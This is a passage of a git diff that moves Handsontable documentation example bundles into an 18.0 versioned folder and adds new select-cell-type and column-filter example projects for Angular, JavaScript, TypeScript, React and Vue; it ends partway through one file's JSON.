a/runner/apps/authoring/public/docs-examples/guides__cell-types__numeric-cell-type__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__numeric-cell-type__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__numeric-cell-type__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__numeric-cell-type__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__numeric-cell-type__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__numeric-cell-type__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__numeric-cell-type__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__numeric-cell-type__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__numeric-cell-type__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__numeric-cell-type__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__numeric-cell-type__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__numeric-cell-type__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__password-cell-type__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__password-cell-type__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__password-cell-type__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__password-cell-type__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__password-cell-type__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__password-cell-type__angular__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__password-cell-type__angular__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__password-cell-type__angular__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__password-cell-type__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__password-cell-type__angular__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__password-cell-type__angular__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__password-cell-type__angular__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__password-cell-type__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__password-cell-type__angular__example4.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__password-cell-type__angular__example4.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__password-cell-type__angular__example4.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__password-cell-type__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__password-cell-type__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__password-cell-type__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__password-cell-type__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__password-cell-type__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__password-cell-type__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__password-cell-type__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__password-cell-type__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__password-cell-type__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__password-cell-type__javascript__example2.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__password-cell-type__javascript__example2.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__password-cell-type__javascript__example2.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__password-cell-type__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__password-cell-type__javascript__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__password-cell-type__javascript__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__password-cell-type__javascript__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__password-cell-type__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__password-cell-type__javascript__example3.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__password-cell-type__javascript__example3.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__password-cell-type__javascript__example3.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__password-cell-type__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__password-cell-type__javascript__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__password-cell-type__javascript__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__password-cell-type__javascript__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__password-cell-type__javascript__example4.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__password-cell-type__javascript__example4.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__password-cell-type__javascript__example4.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__password-cell-type__javascript__example4.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__password-cell-type__javascript__example4.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__password-cell-type__javascript__example4.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__password-cell-type__javascript__example4.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__password-cell-type__javascript__example4.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__password-cell-type__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__password-cell-type__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__password-cell-type__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__password-cell-type__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__password-cell-type__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__password-cell-type__react__example2.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__password-cell-type__react__example2.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__password-cell-type__react__example2.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__password-cell-type__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__password-cell-type__react__example3.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__password-cell-type__react__example3.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__password-cell-type__react__example3.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__password-cell-type__react__example4.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__password-cell-type__react__example4.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__password-cell-type__react__example4.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__password-cell-type__react__example4.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__password-cell-type__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__password-cell-type__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__password-cell-type__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__password-cell-type__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__password-cell-type__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__password-cell-type__vue__example2.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__password-cell-type__vue__example2.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__password-cell-type__vue__example2.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__password-cell-type__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__password-cell-type__vue__example3.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__password-cell-type__vue__example3.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__password-cell-type__vue__example3.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__password-cell-type__vue__example4.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__password-cell-type__vue__example4.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__password-cell-type__vue__example4.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__password-cell-type__vue__example4.vue.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__select-cell-type__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__select-cell-type__angular__example1.ts.json new file mode 100644 index 00000000..627e3982 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__select-cell-type__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Types ▸ Select cell type · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
\n \n
\n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example1-select-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: `
\n \n
`,\n})\nexport class AppComponent {\n\n readonly data = [\n ['2017', 'Honda', 10],\n ['2018', 'Toyota', 20],\n ['2019', 'Nissan', 30],\n ];\n\n readonly gridSettings: GridSettings = {\n height: 'auto',\n colWidths: [50, 70, 50],\n colHeaders: true,\n autoWrapRow: true,\n autoWrapCol: true,\n columns: [\n {},\n {\n type: 'select',\n selectOptions: ['Kia', 'Nissan', 'Toyota', 'Honda'],\n },\n {},\n ]\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-types/select-cell-type/angular/example1.ts","breadcrumb":["Cell Types","Select cell type"],"guide":"guides/cell-types/select-cell-type/select-cell-type.md","guideTitle":"Select cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/select-cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__select-cell-type__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__select-cell-type__javascript__example1.js.json new file mode 100644 index 00000000..e003610d --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__select-cell-type__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Types ▸ Select cell type · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1');\n\nnew Handsontable(container, {\n data: [\n ['2017', 'Honda', 10],\n ['2018', 'Toyota', 20],\n ['2019', 'Nissan', 30],\n ],\n colWidths: [50, 70, 50],\n colHeaders: true,\n columns: [\n {},\n {\n type: 'select',\n selectOptions: ['Kia', 'Nissan', 'Toyota', 'Honda'],\n },\n {},\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/select-cell-type/javascript/example1.js","breadcrumb":["Cell Types","Select cell type"],"guide":"guides/cell-types/select-cell-type/select-cell-type.md","guideTitle":"Select cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/select-cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__select-cell-type__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__select-cell-type__javascript__example1.ts.json new file mode 100644 index 00000000..fc0b9636 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__select-cell-type__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Types ▸ Select cell type · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1')!;\n\nnew Handsontable(container, {\n data: [\n ['2017', 'Honda', 10],\n ['2018', 'Toyota', 20],\n ['2019', 'Nissan', 30],\n ],\n colWidths: [50, 70, 50],\n colHeaders: true,\n columns: [\n {},\n {\n type: 'select',\n selectOptions: ['Kia', 'Nissan', 'Toyota', 'Honda'],\n },\n {},\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/select-cell-type/javascript/example1.ts","breadcrumb":["Cell Types","Select cell type"],"guide":"guides/cell-types/select-cell-type/select-cell-type.md","guideTitle":"Select cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/select-cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__select-cell-type__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__select-cell-type__react__example1.tsx.json new file mode 100644 index 00000000..64752ca0 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__select-cell-type__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Types ▸ Select cell type · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
\n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/select-cell-type/react/example1.tsx","breadcrumb":["Cell Types","Select cell type"],"guide":"guides/cell-types/select-cell-type/select-cell-type.md","guideTitle":"Select cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/select-cell-type","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__select-cell-type__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__select-cell-type__vue__example1.vue.json new file mode 100644 index 00000000..326ae075 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__select-cell-type__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Types ▸ Select cell type · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
\n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/select-cell-type/vue/example1.vue","breadcrumb":["Cell Types","Select cell type"],"guide":"guides/cell-types/select-cell-type/select-cell-type.md","guideTitle":"Select cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/select-cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__time-cell-type__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__time-cell-type__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__time-cell-type__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__time-cell-type__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__time-cell-type__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__time-cell-type__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__time-cell-type__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__time-cell-type__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__time-cell-type__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__time-cell-type__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__time-cell-type__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__time-cell-type__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__time-cell-type__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__time-cell-type__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__time-cell-type__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__time-cell-type__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__time-cell-type__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__time-cell-type__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__time-cell-type__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__time-cell-type__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__angular__example10.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__angular__example10.ts.json new file mode 100644 index 00000000..56cf24a0 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__angular__example10.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Columns ▸ Column filter · Server-side filtering (2) · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n 